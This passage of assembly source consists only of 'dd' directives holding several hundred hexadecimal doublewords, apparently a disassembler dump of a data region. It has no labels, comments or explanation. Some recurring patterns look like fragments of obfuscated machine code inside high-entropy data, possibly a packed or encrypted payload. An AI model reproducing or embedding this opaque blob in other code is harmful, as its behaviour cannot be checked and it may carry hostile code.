		dd 0A1DCB4B6h, 608926C4h, 0C0FD1D22h, 0AD23B33Ah, 245FA072h
		dd 0B6FF5644h, 47C24512h, 609CCB9Ah, 0FD097CB2h, 46298829h
		dd 26C859B9h, 0BAE52A56h, 0AA5E0985h, 36C2B509h, 0D7BB1554h
		dd 42B321A7h, 63Dh, 6607FDE1h, 0F3906610h, 7F1CE09Fh, 1A25E0Bh
		dd 8E2FD58Dh, 0EB9787EFh, 601E6C11h, 0DC89FD9Eh, 44378B28h
		dd 0AEF113B0h, 0F27204Ch, 0D246D58h, 81BEFCE5h,	0F9D1D861h
		dd 0E8BAE55Bh, 41D5215Ah, 0C0CDC28Eh, 0B3DB3B27h, 0FEA7F633h
		dd 0BAEDA0A7h, 4D23BA7Eh, 743555EAh, 5BA2AE08h,	8EEE3D20h
		dd 20E3FE30h, 105D06BDh, 0BCCB430Ah, 8A6D91CEh,	16E295E9h
		dd 5AF0E5E9h, 0ECF9C38h, 0E746D9ACh, 926617h, 738C1EA1h
		dd 36F9037Fh, 7727D384h, 457F50E0h, 25C5E612h, 4F764003h
		dd 29FEBh, 5E9F3400h, 0A1FE903Ch, 375FBF5Eh, 825EA1FEh
		dd 62257C23h, 87B8FAE7h, 0FCA99F67h, 36CB5A5Bh,	993AC0B8h
		dd 0D747BD25h, 1ABFFA2Dh, 7F3E4ECh, 730834A7h, 78E1C34h
		dd 561h, 3A5BA1DDh, 0C7E41244h,	4B6894F3h, 0D5F60A77h
		dd 6203F9E1h, 9FCBB3BBh, 14724065h, 80F5C9EAh, 8635774h
		dd 62A5DFFCh, 0F24D400h, 3968A158h, 81BEFCE5h, 0FCA96561h
		dd 5DD1505Bh, 0E00C9CCFh, 0DCC2B33Dh, 0B90DAE11h, 97683ACEh
		dd 91B1466Ch, 42C59812h, 0A31787F0h, 802C4E04h,	0CDA7F03Fh
		dd 29099752h, 0F88F1FFEh, 2A5D6728h, 0BF6F95CDh, 50FA9B7Ah
		dd 56186136h, 1E738h, 0B9D20900h, 4F3EB44Dh, 0C746EBBBh
		dd 6296C157h, 9FFF0041h, 5EA1FE77h, 0A520E342h,	0A1C17E3Ch
		dd 5BF9F328h, 0A1020C77h, 0AE7C86E2h, 0F6E1CC0Bh, 3E21E45h
		dd 7B2BD5B3h, 0B9E87736h, 8F274788h, 92A7F609h,	0E7713DCAh
		dd 1A851882h, 0B9D90B9Bh, 0DBA7F60Eh, 4DC353ADh, 9A35E917h
		dd 4CAED9F6h, 0A7F60E20h, 3B53326Dh, 0B0D63897h, 0BE561F02h
		dd 45h,	0BEFCE583h, 0E2586181h,	29655BF9h, 39ED4CB0h, 0F62C6B87h
		dd 0AC5009A7h, 6985E5FEh, 24A7F62Ch, 0AD5309FDh, 0C33DABF9h
		dd 0EBBDCE53h, 51E18DA4h, 0EBF2097Eh, 97A45040h, 0B0D6B073h
		dd 0BE561E63h, 0B5h, 13B9D283h,	0A1FE5BF3h, 0E59C165Eh
		dd 45248519h, 86E230E2h, 9DCFC37Ch, 2BFB0F78h, 32772786h
		dd 0B35B2037h, 0D756BE89h, 7286F147h, 8D7912A0h, 7496D7E8h
		dd 5EA142D8h, 578B0A95h, 5EA14575h, 0EB887C6Fh,	0FC0547A0h
		dd 0F8C26F9Ah, 30D1505Bh, 9F3CC6A2h, 0E145BF2Bh, 34743BCCh
		dd 0CA5BBA28h, 74000003h, 0FDD1F208h, 6A587D8Bh, 0EEDC817Dh
		dd 186E0FF3h, 52F99A60h, 8278601Ah, 9F7EDE1h, 93671664h
		dd 1FEB9CF2h, 0E101467Eh, 580F25B5h, 0D298B700h, 72B34CB6h
		dd 0A1FEE410h, 57DB15Eh, 0F89D1CFFh, 1C25D18Ah,	69EFBAE1h
		dd 91655DB2h, 0F19215EBh, 4DB9D23Eh, 0BE403EB4h, 0AED96FFFh
		dd 0FD08395Ah, 99F9CD94h, 5EA1717Dh, 3462E938h,	6617E70Ah
		dd 1EA10092h, 627E9Bh, 5EA105D4h, 629F7EA1h, 595C121h
		dd 9CCF5EA1h, 0AB6AB568h, 0F9393456h, 2B7A5BFAh, 102B497Bh
		dd 1C45A7F9h, 84FC32E0h, 28D68C7Eh, 0DDF2827Ah,	9E31C7F4h
		dd 0B347693h, 7220D487h, 52936C2Fh, 4BDB275Ch, 0F2FB27E6h
		dd 0BFA2A2ECh, 0A8D7DB64h, 61B0D554h, 0D94DB9D2h, 0C7E4104Bh
		dd 0A8591BC4h, 0F9F37346h, 5BBB3C5Bh, 0A7F61F33h, 0D644277Eh
		dd 0F61F842Ch, 6F8E6A7h, 0C45A0694h, 7985E952h,	7B2B8ADBh
		dd 527B54E4h, 0E19B1738h, 0C739A717h, 2153D257h, 0B366806Eh
		dd 5048561Eh, 0D9000000h, 81BEFCE5h, 0BCAA0F7Ah, 0E5A4FE17h
		dd 0A8D7DB1Ch, 5AF99130h, 907318A0h, 3CE70F6Fh
		dd 73B25EA1h, 20AB6EB0h, 2D745BF9h, 6A2B4779h, 0E191A7F9h
		dd 0A32640AEh, 0C500561Fh, 104ED282h, 38986BEEh, 0FDEDB0B7h
		dd 0ED951A5Eh, 0AEDD2Ah, 9F620000h, 1E8C7813h, 31AA189Bh
		dd 0A7C351C5h, 7BC95Dh,	0E79026F4h, 8E707213h, 705EA1F9h
		dd 0FCD2F307h, 8F7B6C8Bh, 6B3B9A1Fh, 0BA4705E2h, 5FF6D58h
		dd 0B6D74EA4h, 0B7480AF7h, 0AF8B2857h, 0E51A85A2h, 0B72A42A4h
		dd 1148AC0Ch, 2CEF36EDh, 59A3DFD3h, 0E01A4634h,	8F6A5D02h
		dd 0D63FAD3Fh, 201h, 9A3BC1BDh,	2744B224h, 0ABC83453h
		dd 3556AAD7h, 0C2E31941h, 3FAB531Bh, 0B4D2A0C5h, 2055294Ah
		dd 0A8C3B7D4h, 0C2053F5Ch, 0F2374A0h, 0D9C84158h, 2F4CB6D2h
		dd 2BD4205Bh, 0FE6C88EAh, 0F6295EA1h, 0D62D5637h, 0C4DEB949h
		dd 85941709h, 36ADFCE5h, 12D958CAh, 414763D0h, 0A37968Ch
		dd 609CC5C9h, 0B5B801A1h, 1A855BF9h, 0D4367788h, 0A7F9D7B8h
		dd 2D89CEF5h, 3855D71Eh, 0E808D659h, 52A7F96Eh,	6DD2CA31h
		dd 9CF36B69h, 0C8EB0363h, 7FA6A7F9h, 2DC3CCBCh,	561F450Bh
		dd 0BA13h, 0B9D23C00h, 1F4BD94Dh, 25565CE5h, 5DDC5DD1h
		dd 0F9B517C9h, 9BE25EA1h, 81D18366h, 3B372EBh, 18639C68h
		dd 0DFF8D74Fh, 0C8AD6C58h, 0A17581FAh, 48F9BB24h, 432CFC07h
		dd 0ABD74B97h, 0A564C731h, 5D0807Dh, 91326DA4h,	92AFED0Ah
		dd 1699651Ch, 0B0DD89E9h, 49D8A2AFh, 0B24C3AB8h, 1FE41E0h
		dd 6E98F2C0h, 8E1CEA9Ch, 0AEDA682Bh, 27433754h,	54079DDh
		dd 36A43F8Fh, 0E8DFh, 0D02A5A00h, 5BADDFB3h, 0E31F443Ah
		dd 6995CCC2h, 0F00A7644h, 5A4428D3h, 0C3B7D42Eh, 443A5BA5h
		dd 0F2C0E511h, 34486D99h, 207B93F3h, 0F936580Fh, 4CB6D2C6h
		dd 0D4205B2Fh, 5B008EB7h, 9FF5E4A7h, 0C8F7913h,	6539CDBEh
		dd 9561149Ah, 0ADE1A001h, 0EEADCE3Ah, 5CBE4301h, 5BFCA964h
		dd 0F644D649h, 7E4C7185h, 0FB25F90Dh, 5ED9460Eh, 9FA5EA7Ah
		dd 77B18ECh, 709CFE54h,	3DEEB765h, 509303E2h, 25FE4835h
		dd 0B772A9C5h, 0BEBDE4EEh, 0C323C6AAh, 0EEB742ABh, 23DCBFE6h
		dd 0B742ABC3h, 0FCBFE6EEh, 52EF134Eh, 58DB275Ch, 0BDC809CAh
		dd 0C424E2B7h, 0E8981BBBh, 7AEA9DA7h, 3CA2CA35h, 2551B10Dh
		dd 70EEB7A0h, 8BFC4E31h, 0AB0AAF7Fh, 996D1896h,	80E5A405h
		dd 0F9AD5932h, 0C94h, 1FE09D00h, 55B4E2E4h, 27E65535h
		dd 48B2D234h, 0E71344DAh, 0F4E137h, 98661C92h, 36CCB40Ah
		dd 50AAD664h, 0E9154CC2h, 4F8E735h, 0A0560096h,	895014F2h
		dd 4BB53E0h, 1000000h, 0E8835BD8h, 24048704h, 7076685Ch
		dd 1C890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 52240489h, 686FF668h, 0F2815A52h, 54C6BAD1h,	148BD389h
		dd 4C48324h, 24048B54h,	5104C483h, 1150B850h, 7E352989h
		dd 0C17A3661h, 0DD3504E0h, 350C7D30h, 378A3235h, 158C189h
		dd 591989C1h, 5124048Bh, 0C181E189h, 4,	8704C183h, 8B5C240Ch
		dd 8957241Ch, 4C781E7h,	81000000h, 4C7h, 243C8700h, 661AE95Ch
		dd 0FC1AFFFAh, 6FE2FC07h, 0DDB5FFDBh, 0DF95B8DAh, 0C50306AEh
		dd 4D1DE0FFh, 0D8A84DA4h, 29181776h, 64E502E9h,	0FA320B40h
		dd 2DA226C2h, 31EE1A4Eh, 3406B6Fh, 0F108794Bh, 0D687067Fh
		dd 4826731Ah, 0AA416428h, 0D58974F3h, 82B62760h, 30AB2C78h
		dd 1C463932h, 7338787Fh, 0CE2F77E9h, 8E855B2h, 0C4000000h
		dd 21BBA73h, 81B5073Bh,	0CB7E5BCBh, 81FC592Ch, 5BFFC1h
		dd 13800F00h, 0E8000000h, 0Bh, 0C8248029h, 0F5BA0D85h
		dd 502A4D92h, 0D6685B5Bh, 0E9000016h, 0Eh, 0A1CC26D8h
		dd 10AB984Ch, 3B0AC7DDh, 0B85EC94Fh, 5F16EA4Dh,	81F9398Bh
		dd 321A2C7h, 0D18B661Ah, 8D52EF81h, 0D28128C1h,	189A5418h
		dd 0D23DF781h, 1CBB5B54h, 89335D3Ch, 0C3815739h, 142922A1h
		dd 1E98358h, 18840Fh, 0E9510000h, 11h, 4C37478Eh, 3B587D56h
		dd 0EFFC4265h, 2D5A2E42h, 49495B95h, 0C6BF0F49h, 0F01EE83h
		dd 0FFFFA385h, 0AE8F9FFh, 0C3000000h, 5286274h,	35BB897Ch
		dd 6CB6BAFFh, 0BA59321Bh, 761AAD39h, 644FC181h,	11E90000h
		dd 0AC000000h, 34C35560h, 2FE4FB4Bh, 1D438B54h,	0B3AA3A1Eh
		dd 68h,	665EFC00h, 1C8BD38Bh, 0E7816631h, 0F38112D5h, 68D62DF2h
		dd 16830F60h, 0E9000000h, 11h, 0D6E0AEBBh, 7A053678h, 0FCD1E26h
		dd 211EB213h, 0D781661Ch, 81612E01h, 0FFB07FEBh, 0DE96047h
		dd 63000000h, 0DC4C2564h, 0FAF8A8FDh, 0F5960F8Ah, 0C38161FCh
		dd 0E22375h, 48FF953h, 9880F31h, 0F000000h, 38Ch, 0D2B70F00h
		dd 0BF02EE83h, 4AF85AC2h, 52564E4Eh, 13E9h, 91C0A00h, 1B8E6C9h
		dd 122D1902h, 176B94A6h, 5610DEDCh, 0FE81585Ah,	0FFFF9CC0h
		dd 30850Fh, 14E90000h, 30000000h, 0C053D65Dh, 8CAFF509h
		dd 29A2D51h, 0E8CCBF04h, 0E91B6D09h, 22h, 0FE567FFDh, 7E204016h
		dd 0B48736EAh, 0EBE7604Eh, 8FBA612Eh, 0E961CAFDh, 0FFFFFF2Eh
		dd 8FCD9E08h, 8D8DA340h, 6AEE327h, 10E9h, 741FEE00h, 0B8C1142Eh
		dd 0A5ABEB52h, 1EBA4C5Bh, 0B98D89B9h, 8B06A805h, 0A8069985h
		dd 6985C706h, 4406A814h, 6A000066h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 8CB7C350h
		dd 619D8979h, 8B06A830h, 0BD85C7F3h, 6A80Bh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 35E6C351h, 14E8BCh, 0B18C0000h, 587B650Ah
		dd 24734ED9h, 0CCB2C91Dh, 910F1B0Dh, 0E781B7B7h, 4F37618Bh
		dd 71B5FF5Eh, 0E806A820h, 12h, 0E9CFDD88h, 2903DE61h, 489A33ABh
		dd 0B964B798h, 8D29E4ADh, 6A81019h, 0DD95FF5Ah,	8A06A820h
		dd 0FF006AC3h, 0A81B3195h, 0EBC08B06h, 3E902D09h, 8C019A62h
		dd 8D8DF863h, 6AEE449h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 4FC35040h, 0D2791BA7h, 0BFA02550h, 75BE66C8h
		dd 0B98D8994h, 6606A805h, 9AE0FB8h, 0A829A1BDh,	6985C706h
		dd 4806A814h, 6A00006Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0F5B8C351h,	72D8F588h
		dd 0E805611Eh, 10h, 0E90CB925h,	75A810F0h, 0A4A5EA37h
		dd 3BA9904Eh, 132EBE66h, 0BD85C75Bh, 6A80Bh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0BF87C357h, 1105A769h, 0A7D144A3h, 6E9h
		dd 1E89F900h, 0F0FAA4Eh, 286h, 0FFF78B00h, 0A81561B5h
		dd 0FA4CBB06h, 8D892078h, 6A82149h, 20DD95FFh, 6A06A8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 90F1CBC3h, 89087352h, 0A8219D9Dh, 4DBD8906h,	6A06A830h
		dd 3195FF00h, 8B06A81Bh, 140BEBC0h, 62340C6Eh, 6027C68h
		dd 9E8C4DAh, 0FC000000h, 16043B89h, 0CDA3A83Eh,	0DB9852Bh
		dd 0E95F06A8h, 6, 0EA3B4782h, 0C78136C1h, 6C7Fh, 2089958Bh
		dd 0F1BB06A8h, 6000001Ah, 0DDD8D89h, 665006A8h,	5A8F78BEh
		dd 6637FF61h, 0E67FD281h, 69C9805Eh, 4397EE81h,	0D9804B3Bh
		dd 0CBF681BCh, 66444D55h, 6231C181h, 378DF681h,	8B56600Eh
		dd 0A8068595h, 37895906h, 16E59D31h, 0EF8106A8h, 0E3C78FFh
		dd 0A718D89h, 0C78106A8h
		dd 0E3C78FBh, 0FE9h, 0ABF73600h, 96C670F1h, 51D1662Eh
		dd 2FD9EB78h, 1EB81h, 850F0000h, 0FFFFFF99h, 12E8h, 566BF500h
		dd 0C5B16112h, 276C4275h, 9627CB21h, 8932849Dh,	0A82CCD85h
		dd 0EE85A06h, 5D000000h, 14B95DA5h, 3A2E624Ah, 0D7D4915Ah
		dd 29B52335h, 5F06A81Bh, 1E418D8Bh, 0C78106A8h,	6185h
		dd 7E9h, 0FAF2FF00h, 18C913DCh,	34FFC033h, 0B5295138h
		dd 6A807C1h, 0C2815B5Ah, 7410DB6Fh, 0FCBBEB81h,	8B66181Dh
		dd 6CF381F1h, 236A3BE6h, 0A80F6595h, 0CEC38106h, 5078E733h
		dd 6BD68166h, 89535EC4h, 0A82CCD9Dh, 7048F06h, 0EADBD89h
		dd 896006A8h, 0A806CD8Dh, 886BB906h, 83617EDFh,	858903E8h
		dd 6A833EDh, 75853148h,	8106A833h, 0FF9F18F8h, 93850FFFh
		dd 66FFFFFFh, 0AF8FEE81h, 0E6668D8Dh, 0E1BB06AEh, 0E9792581h
		dd 6, 4727A295h, 8D89C3C6h, 6A805B9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 10C35242h, 66FEEB17h, 85C7C18Bh
		dd 6A81469h, 6BA0h, 2665958Bh, 85C706A8h, 6A80BBDh, 0
		dd 5E9h, 30E07800h, 0B5FFA634h,	6A801B1h, 2B91B529h, 95FF06A8h
		dd 6A820DDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0D2C35747h, 7E1C510Dh, 0B52939CEh, 6A80FC1h, 95FF006Ah
		dd 6A81B31h, 6CEBC08Bh,	9D948039h, 6CFCF90Ah, 0D49AE719h
		dd 33B05346h, 0B02BB609h, 0F3AB695Bh, 6959DC1h,	117E096Bh
		dd 9857AF06h, 490F3CCh,	0ECC100D5h, 22D51E7Eh, 0D05649D8h
		dd 574E35A8h, 0B0C4B231h, 65C01F5Ah, 78A2CCB9h,	0DEE71D22h
		dd 0B1FE4B09h, 0B2CE69C4h, 22FA600Bh, 928C5A97h, 7649B85Eh
		dd 2AF691CCh, 0D636DBC8h, 94875606h, 0B373EB5Ah, 0E79B8D8Dh
		dd 6A06AEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0DA0BDCC3h, 68A0Fh, 9D090000h, 6A819ADh
		dd 5B98D89h, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0CC078CC3h, 0D88166D0h, 85C7644Eh
		dd 6A81469h, 5A7Ch, 418D8953h, 5E06A814h, 68CCBB66h, 0BBD85C7h
		dd 6A8h, 66560000h, 0FF58F88Bh,	0A816FDB5h, 68E0F06h, 8B000000h
		dd 0A81E059Dh, 48D0F06h, 66000000h, 0FFB5C9BFh,	0A820DD95h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0FF006AF6h, 0A81B3195h, 0EBC08B06h, 91143E39h
		dd 0EA355C0Eh, 1D1A6F3Bh, 0E9A3E4AFh, 0A4B813FDh, 0D73A3D33h
		dd 237C170Bh, 269493h, 99B7B328h, 15F8D9BAh, 7D75CEE2h
		dd 6CD1BBF5h, 9E26FA9Ch, 683F5E83h, 8D8DA133h, 6AEE8A7h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4AC35343h
		dd 10E83DA9h, 0D791AF70h, 0CD8589A8h, 8906A816h, 0A805B98Dh
		dd 870F6006h, 6, 210D852Bh, 8D3106A8h, 6A82AE5h, 6985C761h
		dd 8C06A814h, 6A000066h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 192C351h, 0E50CF554h
		dd 0B307D3Eh, 86EF8166h, 0BD85C729h, 6A80Bh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 2957C357h, 89F96257h, 0A8150D9Dh,	0A1B5FF06h
		dd 8B06A814h, 0A82F4D9Dh, 0DD95FF06h, 5306A820h, 81E9BA66h
		dd 0FF006A5Bh, 0A81B3195h, 0EBC08B06h, 1DA7F129h, 0D61C29DAh
		dd 8D38449Ch, 8720FFE0h, 83B6114Eh, 7A775676h, 9C0F70B0h
		dd 0AF5C080Fh, 4D15E54Dh, 0E3CA79E3h, 9E8024Ch,	86000000h
		dd 1B4108FAh, 0F32EED43h, 73B9D081h, 665A0EAAh,	0C281F38Bh
		dd 7048h, 6870Fh, 0BD890000h, 6A817A9h,	1BF568h, 59E18A00h
		dd 3375B589h, 32FF06A8h, 21319D89h, 895F06A8h, 0A82E2D9Dh
		dd 0E3C78106h, 0FC4246DCh, 0C6C4EF81h, 0B5233346h, 6A821FDh
		dd 0C6C3F781h, 9D096486h, 6A821BDh, 0EC803A89h,	4EA8355h
		dd 1E981F9h, 0F000000h,	0FFFFBD85h, 0E8F08BFFh,	14h, 193EE9A2h
		dd 1D8476F1h, 4953D569h, 0AB18C8Fh, 0D9587B65h,	20799D89h
		dd 15A06A8h, 0A81A599Dh, 0AFC28106h, 52000062h,	0B2BC881h
		dd 0BF58612Ch, 0
		dd 3A1C8BF9h, 0B7C88166h, 94EB81D5h, 817B3116h,	550376EBh
		dd 0A5953123h, 8106A820h, 327AA1C3h, 818D8934h,	5306A82Bh
		dd 16830Fh, 11E90000h, 0E7000000h, 7FFC3227h, 0EFE5DF1Fh
		dd 474479D5h, 792E935Dh, 663A048Fh, 0B58BF28Bh,	6A8055Dh
		dd 8904EF83h, 0A80BD58Dh, 0ECFF8106h, 0FFFFF9Dh, 0FFFF9C85h
		dd 0D9B589FFh, 8D06A822h, 0AEEAAF8Dh, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 158E6A9Fh, 666312D8h, 5B98D89h, 6A06A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BF6605C3h
		dd 0FB8BE84Ah, 4397BA66h, 146985C7h, 6B8406A8h,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FA250C3h, 0C8Ah, 850B6000h,	6A801A9h, 958BBA66h, 0BD85C761h
		dd 6A80Bh, 31000000h, 0A8168595h, 0A9B5FF06h, 0B006A81Dh
		dd 0DD95FFC1h, 8906A820h, 0A800DD9Dh, 0FF006A06h, 0A81B3195h
		dd 0EBC08B06h, 0A8F3E40Ch, 7F9C5F1Eh, 0A97349FFh, 9E8F4h
		dd 5B5A0000h, 0DEC721CBh, 8B0B62E9h, 0A8297585h, 29605E06h
		dd 0A817C5BDh, 71858B06h, 6106A809h, 5B39C681h,	0BBF90000h
		dd 105F8B7Bh, 8B18C381h, 0BA66EFA0h, 36FF9CE6h,	15CD9D01h
		dd 0B65906A8h, 94F18106h, 0F90A3D68h, 0B9CCE981h, 0DF812214h
		dd 732811DFh, 322FE981h, 0EE97E68h, 0F2000000h,	2CBA0A64h
		dd 7D34DDD7h, 0D6573D7Eh, 8A0E8935h, 0EE81E2h, 0FC6366F6h
		dd 0F5FCC681h, 60606366h, 16CD858Bh, 858B06A8h,	6A81A5Dh
		dd 0EB836161h, 3E850F01h, 0E8000000h, 14h, 45C2F9Ch, 0EE903DE1h
		dd 0BDEB6C86h, 20FBC7F4h, 0A719AC63h, 6800Fh, 0C2810000h
		dd 3B85016Ah, 31E95Fh, 4DEC0000h, 0E8D7D154h, 7902A16Ah
		dd 7987210Bh, 3E7B1326h, 0DA8057BBh, 57E9586Fh,	3FFFFFFh
		dd 0E32E5D78h, 7194C50h, 0BDA5FDF3h, 9F8DF15Eh,	0E845172Ah
		dd 8, 0AEA0AE7Bh, 0D678F6BFh, 9AA2F681h, 8B587F49h, 0A821C19Dh
		dd 0D1C08106h, 60000064h, 29B5858Bh, 2BBE06A8h,	612794B8h
		dd 64484FBAh, 0C0C28167h, 29989BD0h, 0A82F6D85h, 6630FF06h
		dd 0BCF4DE81h, 98E98159h, 50305F8Ah, 18F1815Bh,	811ABD19h
		dd 627EBBD6h, 0B5C18139h, 51755634h, 68E0Fh, 0EE810000h
		dd 69891403h, 9D8B008Fh, 6A826A1h, 6DBCE881h, 0BB662782h
		dd 0C0812CF0h, 27826DB8h, 0C7816650h, 815BEA49h, 1EAh
		dd 0A6850F00h, 8BFFFFFFh, 0A80F799Dh, 6E806h, 4DCF0000h
		dd 0DC088F05h, 9D895BF8h, 6A81769h, 6DBBC381h, 8B660000h
		dd 1B4368F2h, 81660000h, 5A26ABC6h, 6820Fh, 0BD290000h
		dd 6A82521h, 0F5633FFh,	585ECFBFh, 6870Fh, 8D8B0000h, 6A81EE5h
		dd 0E19DF081h, 0B58B3790h, 6A827B1h, 45B5E881h,	8D8B7E33h
		dd 6A8326Dh, 4B73E881h,	0BD894C0Fh, 6A815EDh, 8FFE8B50h
		dd 1EB8303h, 6850Fh, 8D8B0000h,	6A827ADh, 894B4B4Bh, 0A80EADBDh
		dd 1EA8106h, 0F000000h,	1785h, 19B58900h, 0E906A801h, 19h
		dd 6A5A2D11h, 392BA5FBh, 0D0E6F129h, 0E96CE180h, 0FFFFFF80h
		dd 0AEC3479Ah, 0A0758298h, 14690889h, 8DA6DC78h, 368D481Fh
		dd 35A12E86h, 0D9259086h, 30254813h, 1E189905h,	3F25142Eh
		dd 30258102h, 0B5980786h, 3023EA93h, 305EA589h,	0B5E39086h
		dd 368D5D53h, 0D1BE4CC8h, 4A4F4CBh, 3F13D2A2h, 0D907BC8h
		dd 0BD23EAA8h, 9B4C5003h, 0BBF56F80h, 0E5A08E76h, 7E238C93h
		dd 3025166Eh, 72F24986h, 74AED42Eh, 30AE46A2h, 3401650Fh
		dd 0B5906FDEh, 0BD23E093h, 9B4C5503h, 0BBF5ED80h, 3035B07Eh
		dd 38CC8486h, 96254286h, 302BA489h, 3B6C9086h, 0C0A0474Fh
		dd 0D9DADB79h, 3025128Bh, 7F8A940Bh, 359D822Eh,	0CF254286h
		dd 3C98AC65h, 0BD233E6Bh, 9EC89A0Bh, 15379C80h,	0FF0E94B6h
		dd 0A0758247h, 14690889h, 8DA6DC78h, 368D481Fh,	35A12E86h
		dd 0D9259086h, 30254813h, 83189905h, 0A4F305E9h, 22B9h
		dd 0BE900h, 0EF840000h,	7FE8h, 0
		dd 802E900h, 57F20000h,	0A27881Eh, 3058FB4Fh, 0EC822D79h
		dd 91B21DA9h, 0B0C14EDCh, 3E8CC162h, 62B8F595h,	5CEAA3C1h
		dd 8D1950F3h, 81B9C319h, 43B606C5h, 1CBA1E05h, 57D6AEEAh
		dd 7DBB94AFh, 57D6ACEBh, 1D54F7AFh, 33E96389h, 622B4AFDh
		dd 8E12EC3Dh, 3C8B2D89h, 45872398h, 0B6007B22h,	39EA37E0h
		dd 6ED15518h, 881986CFh, 8007ACE5h, 0E0838A2Bh,	0CDB91DA9h
		dd 28147772h, 7Ch, 9B5EFFF3h, 316AB7FAh, 294ADB58h, 0D1A4D85h
		dd 3D164C87h, 8F34F89h,	0BCD41D63h, 0A3088F7Ch,	175AFB02h
		dd 0F73355F3h, 0CDAF5818h, 0E84C3662h, 12DF90FCh, 431Bh
		dd 6302ED00h, 0BAA58E2Ah, 2F743959h, 0A2EB8DFEh, 4D88A976h
		dd 34EEF2Eh, 0F948D9Eh,	7EF8251Eh, 0AF57D737h, 0E6EDB6E5h
		dd 98D20845h, 10AA74ACh, 1A3EAFE4h, 917FC553h, 0DE430A2Eh
		dd 19E46BCDh, 0C7000000h, 1BF25EFFh, 0D7B95BBEh, 38C26F58h
		dd 0AF5815FEh, 0B9C0614Ah, 6A51D598h, 0D80EB5E7h, 0FFD807AEh
		dd 98B3FDB5h, 9C2BC6BAh, 6B38EB2Bh, 7E57F1C8h, 0E1871885h
		dd 0BF412A8h, 28F72168h, 23E44900h, 339C4AF1h, 10DA5E13h
		dd 0A82D83F6h, 49D641BCh, 7D842D86h, 0EE1492DBh, 42EA3640h
		dd 0A8A10968h, 0A84C2A6Eh, 9AB718BCh, 0EDB2E6DFh, 0FBE4024Bh
		dd 2B981059h, 0A84BF723h, 0A102B9BCh, 1851F4DFh, 8916829Bh
		dd 3B60A6EFh, 0B91C30BAh, 0E0EC515Ah, 0E043FF48h, 0FFE6C3FBh
		dd 0BA30155Ch, 2F743959h, 5FE3E4FEh, 151B8693h,	0F4123983h
		dd 15DFCAE8h, 4BEFh, 59BA3000h,	7648923Ah, 9C19FD36h, 8B2D7EA3h
		dd 87CC863Ch, 0D7F0F748h, 0BAB1968Fh, 3A87DA1Ch, 8BA8ECF7h
		dd 43DFDB2Dh, 6BA5AF58h, 0EE5EE720h, 791C8D74h,	0BA624730h
		dd 1059FFDDh, 226B09EAh, 270CACFDh, 40DFE0C5h, 0FA000000h
		dd 723B59BAh, 722D6126h, 800BA95h, 0DEAF57D7h, 971C59F5h
		dd 0EACF1286h, 0FF2B0449h, 9ADDDC7Dh, 5BFDBFE6h, 0B4FF3912h
		dd 92B31CBAh, 0FF5259DFh, 0BA2B1059h, 12733A59h, 0A3F4397Ch
		dd 0FF8B9075h, 4E88155Ch, 0AF5C58B8h, 9C0148EBh, 822F6203h
		dd 7AF9BA13h, 0DAE1423Bh, 0AED4F2BBh, 5C591C1Ch, 0ACE587AFh
		dd 7BD41607h, 4BEC573Dh, 7D92FDE7h, 0BE977C08h,	6058E208h
		dd 22AF5C71h, 633CAF09h, 9F228FC2h, 0C5666D36h,	0AE9A3288h
		dd 4912DB4Ch, 30h, 155CFFD2h, 0F9314BF1h, 0AAAF57D6h, 1601C184h
		dd 34982182h, 862B6607h, 0FC0EBC95h, 0B5FFEBCDh, 0BC179CB7h
		dd 7F3655BEh, 0DAE14239h, 8FB4F2BBh, 0FB9D5CFFh, 0D354D9B2h
		dd 0C32CDA61h, 6942EFA2h, 14FF25CFh, 76F03871h,	0B600042Bh
		dd 0FAB3D23Dh, 0A3464B5h, 1B3AE521h, 2C0DCD52h,	453A726Eh
		dd 25484FD0h, 0A00D44E4h, 0A7089E77h, 0FA60CD84h, 47711770h
		dd 30D67047h, 727D9296h, 51C7703Ah, 29DD66D6h, 1AB0EC9Fh
		dd 709CD641h, 54EDEEAAh, 2817938Ch, 90F830BAh, 5BF8304Ah
		dd 61CAAF58h, 58FFB969h, 58FB57D0h, 0FFE6C363h,	0BA30155Ch
		dd 0D891B31Ch, 80B8425Bh, 42AF57D7h, 0DEC54FE9h, 0DFCAE8F4h
		dd 25EF15h, 0E7300000h,	0BA1308ABh, 57D70800h, 7451FAAFh
		dd 3CDA1CBAh, 7BBC3A63h, 0FFD6DD5Bh, 0C52B1059h, 5EDFE0h
		dd 0E7FA0000h, 0BA1308ABh, 25C2DA1Ch, 559CF9B0h, 584FF733h
		dd 8962CDAFh, 4FE1D92Fh, 9780AF58h, 0C07FF973h,	5310FFFFh
		dd 57DBF129h, 8F78D3AFh, 0DDBA0229h, 0ABDD59FFh, 0AF57D76Fh
		dd 0BACCFA55h, 0AF57D77Eh, 0D4F2EB44h, 5A2E1C82h, 0E43497A5h
		dd 0BE21C5BFh, 9731D590h, 0AF57D793h, 4952C671h, 88155CFFh
		dd 9DD07152h, 0DE43062Ch, 0B9D6BCDh, 98AF5C59h,	0AB74B9F0h
